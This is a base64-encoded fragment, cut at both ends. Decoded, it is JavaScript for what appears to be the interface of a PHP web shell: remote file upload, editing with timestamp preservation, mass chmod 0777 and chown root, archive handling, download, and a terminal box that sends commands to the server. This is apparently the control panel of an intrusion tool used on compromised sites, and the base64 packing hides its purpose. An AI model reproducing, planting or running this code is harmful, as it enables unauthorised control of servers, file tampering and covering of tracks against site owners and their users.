9Cgl9KTsKfQpmdW5jdGlvbiB1bF9nbyh1bFR5cGUpewoJdWxGaWxlID0gKHVsVHlwZT09J2NvbXAnKT8gJCgnLnVsRmlsZUNvbXAnKTokKCcudWxGaWxlVXJsJyk7Cgl1bFJlc3VsdCA9ICh1bFR5cGU9PSdjb21wJyk/ICQoJy51bENvbXBSZXN1bHQnKTokKCcudWxVcmxSZXN1bHQnKTsKCXVsUmVzdWx0Lmh0bWwoJycpOwoJdWxGaWxlLmVhY2goZnVuY3Rpb24oaSl7CgkJaWYoKCh1bFR5cGU9PSdjb21wJykmJnRoaXMuZmlsZXNbMF0pfHwoKHVsVHlwZT09J3VybCcpJiYodGhpcy52YWx1ZSE9JycpKSl7CgkJCWZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyB0aGlzLmZpbGVzWzBdOiB0aGlzLnZhbHVlOwoJCQlmaWxlbmFtZSA9ICh1bFR5cGU9PSdjb21wJyk/IGZpbGUubmFtZTogZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpOwoJCQl1bFNhdmVUbyA9ICh1bFR5cGU9PSdjb21wJyk/ICQoJy51bFNhdmVUb0NvbXAnKVtpXS52YWx1ZTokKCcudWxTYXZlVG9VcmwnKVtpXS52YWx1ZTsKCQkJdWxGaWxlbmFtZSA9ICh1bFR5cGU9PSdjb21wJyk/ICQoJy51bEZpbGVuYW1lQ29tcCcpW2ldLnZhbHVlOiQoJy51bEZpbGVuYW1lVXJsJylbaV0udmFsdWU7CgkJCXZhciBmb3JtRGF0YSA9IG5ldyBGb3JtRGF0YSgpOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsIGZpbGUpOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsU2F2ZVRvJywgdWxTYXZlVG8pOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZW5hbWUnLCB1bEZpbGVuYW1lKTsKCQkJZm9ybURhdGEuYXBwZW5kKCd1bFR5cGUnLCB1bFR5cGUpOwoJCQllbnRyeSA9ICI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+IjsKCQkJdWxSZXN1bHQuYXBwZW5kKGVudHJ5KTsKCQkJY2hlY2sgPSB0cnVlOwoJCQlpZih1bFR5cGU9PSdjb21wJyl7CgkJCQljaGVjayA9IChmaWxlLnNpemU8PTApOwoJCQl9CgkJCWVsc2UgY2hlY2sgPSAoZmlsZT09IiIpOwoJCQlpZihjaGVjayl7CgkJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsUHJvZ3Jlc3MnK3VsVHlwZStpKTsKCQkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQkJfQoJCQllbHNlewoJCQkJdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSk7CgkJCX0KCQl9Cgl9KTsKfQpmdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsIGUsIGNhbGxiYWNrKXsKCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9CglmaXhfdGFiY2hhcihlbCwgZSk7Cn0KZnVuY3Rpb24gZWRpdF9zYXZlX3JhdygpewoJZWRpdF9zYXZlKCdlZGl0Jyk7Cn0KZnVuY3Rpb24gZWRpdF9zYXZlX2hleCgpewoJZWRpdF9zYXZlKCdoZXgnKTsKfQpmdW5jdGlvbiBlZGl0X3NhdmUoZWRpdFR5cGUpewoJZWRpdEZpbGVuYW1lID0gJCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpOwoJZWRpdElucHV0ID0gJCgnI2VkaXRJbnB1dCcpLnZhbCgpOwoJZWRpdFN1Y2Nlc3MgPSBmYWxzZTsKCXByZXNlcnZlVGltZXN0YW1wID0gJ2ZhbHNlJzsKCWlmKCQoJy5jQm94JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7ZWRpdFR5cGU6ZWRpdFR5cGUsZWRpdEZpbGVuYW1lOmVkaXRGaWxlbmFtZSxlZGl0SW5wdXQ6ZWRpdElucHV0LHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSwKCQlmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWVkaXRTdWNjZXNzID0gJ3N1Y2Nlc3MnOwoJCQl2aWV3KGVkaXRGaWxlbmFtZSwgZWRpdFR5cGUsIHByZXNlcnZlVGltZXN0YW1wKTsKCQl9CgkJZWxzZSBlZGl0U3VjY2VzcyA9ICdlcnJvcic7CgkJfQoJKTsKfQpmdW5jdGlvbiBtYXNzX2FjdCh0eXBlKXsKCWJ1ZmZlciA9IGdldF9hbGxfY2JveF9zZWxlY3RlZCgneHBsVGFibGUnLCAneHBsX2hyZWYnKTsKCWlmKCh0eXBlPT0nY3V0Jyl8fCh0eXBlPT0nY29weScpKXsKCQlsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnYnVmZmVyTGVuZ3RoJywgYnVmZmVyLmxlbmd0aCk7CgkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckFjdGlvbicsIHR5cGUpOwoJCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlcl8nK2ksIHYpOwoJCX0pOwoJfQoJZWxzZSBpZih0eXBlPT0ncGFzdGUnKXsKCQlidWZmZXJMZW5ndGggPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyTGVuZ3RoJyk7CgkJYnVmZmVyQWN0aW9uID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckFjdGlvbicpOwoJCWlmKGJ1ZmZlckxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQlmb3IodmFyIGk9MDtpPGJ1ZmZlckxlbmd0aDtpKyspewoJCQkJaWYoKGJ1ZmYgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyXycraSkpKXsKCQkJCQltYXNzQnVmZmVyICs9IGJ1ZmYgKyAnXG4nOwoJCQkJfQoJCQl9CgkJCW1hc3NCdWZmZXIgPSAkLnRyaW0obWFzc0J1ZmZlcik7CgkJCWlmKGJ1ZmZlckFjdGlvbj09J2N1dCcpIHRpdGxlID0gJ21vdmUnOwoJCQllbHNlIGlmKGJ1ZmZlckFjdGlvbj09J2NvcHknKSB0aXRsZSA9ICdjb3B5JzsKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz4iK3RpdGxlKyIgaGVyZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fcGFzdGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJ3Bhc3RlJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKCh0eXBlPT0nZXh0cmFjdCAodGFyKScpfHwodHlwZT09J2V4dHJhY3QgKHRhci5neiknKXx8KHR5cGU9PSdleHRyYWN0ICh6aXApJykpewoJCWlmKHR5cGU9PSdleHRyYWN0ICh0YXIpJykgYXJjVHlwZSA9ICd1bnRhcic7CgkJZWxzZSBpZih0eXBlPT0nZXh0cmFjdCAodGFyLmd6KScpIGFyY1R5cGUgPSAndW50YXJneic7CgkJZWxzZSBpZih0eXBlPT0nZXh0cmFjdCAoemlwKScpIGFyY1R5cGUgPSAndW56aXAnOwoJCWlmKGJ1ZmZlci5sZW5ndGg+MCl7CgkJCW1hc3NCdWZmZXIgPSAnJzsKCQkJJC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpewoJCQkJbWFzc0J1ZmZlciArPSB2ICsgJ1xuJzsKCQkJfSk7CgkJCW1hc3NCdWZmZXIgPSAkLnRyaW0obWFzc0J1ZmZlcik7CgkJCXRpdGxlID0gdHlwZTsKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkV4dHJhY3QgdG88L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIicgIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5leHRyYWN0PC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKCh0eXBlPT0nY29tcHJlc3MgKHRhciknKXx8KHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpfHwodHlwZT09J2NvbXByZXNzICh6aXApJykpewoJCWRhdGUgPSBuZXcgRGF0ZSgpOwoJCXJhbmQgPSBkYXRlLmdldFRpbWUoKTsKCQlpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXsKCQkJYXJjVHlwZSA9ICd0YXInOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy50YXInOwoJCX0KCQllbHNlIGlmKHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpewoJCQlhcmNUeXBlID0gJ3Rhcmd6JzsKCQkJYXJjRmlsZW5hbWUgPSByYW5kKycudGFyLmd6JzsKCQl9CgkJZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHppcCknKXsKCQkJYXJjVHlwZSA9ICd6aXAnOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy56aXAnOwoJCX0KCQlpZihidWZmZXIubGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQkJCW1hc3NCdWZmZXIgKz0gdiArICdcbic7CgkJCX0pOwoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoJCQl0aXRsZSA9IHR5cGU7CgkJCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5BcmNoaXZlPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK2FyY0ZpbGVuYW1lKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5jb21wcmVzczwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQlzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSwgY29udGVudCk7CgkJfQoJfQoJZWxzZSBpZih0eXBlIT0nJyl7CgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoJCQlsaW5lID0gJyc7CgkJCWlmKHR5cGU9PSdjaG1vZCcpIGxpbmUgPSAiPHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5jaG1vZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0nbWFzc1ZhbHVlJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nMDc3Nycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiI7CgkJCWVsc2UgaWYodHlwZT09J2Nob3duJykgbGluZSA9ICI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNob3duPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSdyb290JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjsKCQkJZWxzZSBpZih0eXBlPT0ndG91Y2gnKXsKCQkJCXZhciBub3cgPSBuZXcgRGF0ZSgpOwoJCQkJbGluZSA9ICI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPnRvdWNoPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK25vdy50b0dNVFN0cmluZygpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iOwoJCQl9CgkJCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+IitsaW5lKyI8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIit0eXBlKyInKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCQkJc2hvd19ib3godWNmaXJzdCh0aXRsZSksIGNvbnRlbnQpOwoJCX0KCX0KCSQoJy5jQm94U2VsZWN0ZWQnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7Cgl4cGxfdXBkYXRlX3N0YXR1cygpOwp9CmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3RhcigpewoJbWFzc19hY3RfZ28oJ3RhcicpOwp9CmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Rhcmd6KCl7CgltYXNzX2FjdF9nbygndGFyZ3onKTsKfQpmdW5jdGlvbiBtYXNzX2FjdF9nb196aXAoKXsKCW1hc3NfYWN0X2dvKCd6aXAnKTsKfQpmdW5jdGlvbiBtYXNzX2FjdF9nb191bnRhcigpewoJbWFzc19hY3RfZ28oJ3VudGFyJyk7Cn0KZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXJneigpewoJbWFzc19hY3RfZ28oJ3VudGFyZ3onKTsKfQpmdW5jdGlvbiBtYXNzX2FjdF9nb191bnppcCgpewoJbWFzc19hY3RfZ28oJ3VuemlwJyk7Cn0KZnVuY3Rpb24gbWFzc19hY3RfZ29fcGFzdGUoKXsKCW1hc3NfYWN0X2dvKCdwYXN0ZScpOwp9CmZ1bmN0aW9uIG1hc3NfYWN0X2dvX2NobW9kKCl7CgltYXNzX2FjdF9nbygnY2htb2QnKTsKfQpmdW5jdGlvbiBtYXNzX2FjdF9nb19jaG93bigpewoJbWFzc19hY3RfZ28oJ2Nob3duJyk7Cn0KZnVuY3Rpb24gbWFzc19hY3RfZ29fdG91Y2goKXsKCW1hc3NfYWN0X2dvKCd0b3VjaCcpOwp9CmZ1bmN0aW9uIG1hc3NfYWN0X2dvKG1hc3NUeXBlKXsKCW1hc3NCdWZmZXIgPSAkLnRyaW0oJCgnLm1hc3NCdWZmZXInKS52YWwoKSk7CgltYXNzUGF0aCA9IGdldF9jd2QoKTsKCW1hc3NWYWx1ZSA9ICcnOwoJaWYobWFzc1R5cGU9PSdwYXN0ZScpewoJCWJ1ZmZlckxlbmd0aCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJMZW5ndGgnKTsKCQlidWZmZXJBY3Rpb24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7CgkJaWYoYnVmZmVyTGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCWZvcih2YXIgaT0wO2k8YnVmZmVyTGVuZ3RoO2krKyl7CgkJCQlpZigoYnVmZiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpewoJCQkJCW1hc3NCdWZmZXIgKz0gYnVmZiArICdcbic7CgkJCQl9CgkJCX0KCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIG1hc3NUeXBlID0gJ2NvcHknOwoJCQllbHNlIGlmKGJ1ZmZlckFjdGlvbj09J2N1dCcpIG1hc3NUeXBlID0gJ2N1dCc7CgkJfQoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXsKCQltYXNzVmFsdWUgPSAkKCcubWFzc1ZhbHVlJykudmFsKCk7Cgl9CgllbHNlIGlmKChtYXNzVHlwZT09J3RhcicpfHwobWFzc1R5cGU9PSd0YXJneicpfHwobWFzc1R5cGU9PSd6aXAnKSl7CgkJbWFzc1ZhbHVlID0gJCgnLm1hc3NWYWx1ZScpLnZhbCgpOwoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSd1bnRhcicpfHwobWFzc1R5cGU9PSd1bnRhcmd6Jyl8fChtYXNzVHlwZT09J3VuemlwJykpewoJCW1hc3NWYWx1ZSA9ICQoJy5tYXNzVmFsdWUnKS52YWwoKTsKCX0KCWlmKG1hc3NCdWZmZXIhPScnKXsKCQlzZW5kX3Bvc3Qoe21hc3NUeXBlOm1hc3NUeXBlLG1hc3NCdWZmZXI6bWFzc0J1ZmZlcixtYXNzUGF0aDptYXNzUGF0aCxtYXNzVmFsdWU6bWFzc1ZhbHVlIH0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkkKCcuYm94cmVzdWx0JykuaHRtbChyZXMrJyBPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJCX0KCQkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJCQluYXZpZ2F0ZShnZXRfY3dkKCkpOwoJCX0pOwoJfQp9CmZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7Cgl0b3RhbFNlbGVjdGVkID0gJCgnI3hwbFRhYmxlJykuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5sZW5ndGg7CglpZih0b3RhbFNlbGVjdGVkPT0wKSAkKCcueHBsU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyk7Cn0KZnVuY3Rpb24geHBsX2JpbmQoKXsKCSQoJy5uYXZpZ2F0ZScpLm9mZignY2xpY2snKTsKCSQoJy5uYXZpZ2F0ZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoKTsKCQloaWRlX2JveCgpOwoJfSk7CgkkKCcubmF2YmFyJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmJhcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSAkKHRoaXMpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCSQoJy5uZXdmb2xkZXInKS5vZmYoJ2NsaWNrJyk7CgkkKCcubmV3Zm9sZGVyJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJbmV3Zm9sZGVyKHBhdGgpOwoJfSk7CgkkKCcubmV3ZmlsZScpLm9mZignY2xpY2snKTsKCSQoJy5uZXdmaWxlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJbmV3ZmlsZShwYXRoKTsKCX0pOwoJJCgnLmRlbCcpLm9mZignY2xpY2snKTsKCSQoJy5kZWwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlkZWwocGF0aCk7Cgl9KTsKCSQoJy52aWV3Jykub2ZmKCdjbGljaycpOwoJJCgnLnZpZXcnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0geHBsX2hyZWYoJCh0aGlzKSk7CgkJdmlldyhwYXRoLCAnYXV0bycpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCSQoJy5oZXgnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuaGV4Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCXZpZXcocGF0aCwgJ2hleCcpOwoJfSk7CgkkKCcjdmlld0Z1bGxzaXplJykub2ZmKCdjbGljaycpOwoJJCgnI3ZpZXdGdWxsc2l6ZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXNyYyA9ICQoJyN2aWV3SW1hZ2UnKS5hdHRyKCdzcmMnKTsKCQl3aW5kb3cub3BlbihzcmMpOwoJfSk7CgkkKCcuZWRpdCcpLm9mZignY2xpY2snKTsKCSQoJy5lZGl0Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCXZpZXcocGF0aCwgJ2VkaXQnKTsKCQloaWRlX2JveCgpOwoJfSk7CgkkKCcucmVuJykub2ZmKCdjbGljaycpOwoJJCgnLnJlbicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCXJlbihwYXRoKTsKCX0pOwoJJCgnLmFjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJy5hY3Rpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlhY3Rpb24ocGF0aCwgJ2ZpbGUnKTsKCX0pOwoJJCgnLmFjdGlvbmZvbGRlcicpLm9mZignY2xpY2snKTsKCSQoJy5hY3Rpb25mb2xkZXInKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlhY3Rpb24ocGF0aCwgJ2RpcicpOwoJfSk7CgkkKCcuYWN0aW9uZG90Jykub2ZmKCdjbGljaycpOwoJJCgnLmFjdGlvbmRvdCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCWFjdGlvbihwYXRoLCAnZG90Jyk7Cgl9KTsKCSQoJy5kbCcpLm9mZignY2xpY2snKTsKCSQoJy5kbCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkb3dubG9hZCcgdmFsdWU9JyIrcGF0aCsiJz4iKTsKCQkkKCcjZm9ybScpLnN1Ym1pdCgpOwoJCSQoJyNmb3JtJykuaHRtbCgnJyk7CgkJaGlkZV9ib3goKTsKCX0pOwoJJCgnLnVsJykub2ZmKCdjbGljaycpOwoJJCgnLnVsJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCW5hdmlnYXRlKHBhdGgsIGZhbHNlKTsKCQlwYXRoID0gaHRtbF9zYWZlKHBhdGgpOwoJCXVsKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCSQoJy5maW5kJykub2ZmKCdjbGljaycpOwoJJCgnLmZpbmQnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0geHBsX2hyZWYoJCh0aGlzKSk7CgkJbmF2aWdhdGUocGF0aCwgZmFsc2UpOwoJCXBhdGggPSBodG1sX3NhZmUocGF0aCk7CgkJZmluZChwYXRoKTsKCQloaWRlX2JveCgpOwoJfSk7CgkkKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJyNtYXNzQWN0aW9uJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjbWFzc0FjdGlvbicpLnZhbCgpOwoJCW1hc3NfYWN0KHR5cGUpOwoJCSQoJyNtYXNzQWN0aW9uJykudmFsKCdBY3Rpb24nKTsKCX0pOwoJY2JveF9iaW5kKCd4cGxUYWJsZScsJ3hwbF91cGRhdGVfc3RhdHVzJyk7Cn0KZnVuY3Rpb24geHBsX2hyZWYoZWwpewoJcmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGF0aCcpOwp9CmZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7Cgl2YXIgYSA9ICQoJ3ZpZGVvJykuZ2V0KDApOwoJc2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWEuc3JjID0gcmVzOwoJfSk7CgloaWRlX2JveCgpOwp9CiQoJyN0ZXJtaW5hbElucHV0Jykub24oJ2tleWRvd24nLCBmdW5jdGlvbihlKXsKCWlmKGUua2V5Q29kZT09MTMpewoJCWNtZCA9ICQoJyN0ZXJtaW5hbElucHV0JykudmFsKCk7CgkJdGVybWluYWxIaXN0b3J5LnB1c2goY21kKTsKCQl0ZXJtaW5hbEhpc3RvcnlQb3MgPSB0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoOwoJCWlmKGNtZD09J2NsZWFyJ3x8Y21kPT0nY2xzJyl7CgkJCSQoJyN0ZXJtaW5hbE91dHB1dCcpLmh0bWwoJycpOwoJCX0KCQllbHNlIGlmKChwYXRoID0gY21kLm1hdGNoKC9jZCguKikvaSkpIHx8IChwYXRoID0gY21kLm1hdGNoKC9eKFthLXpdOikk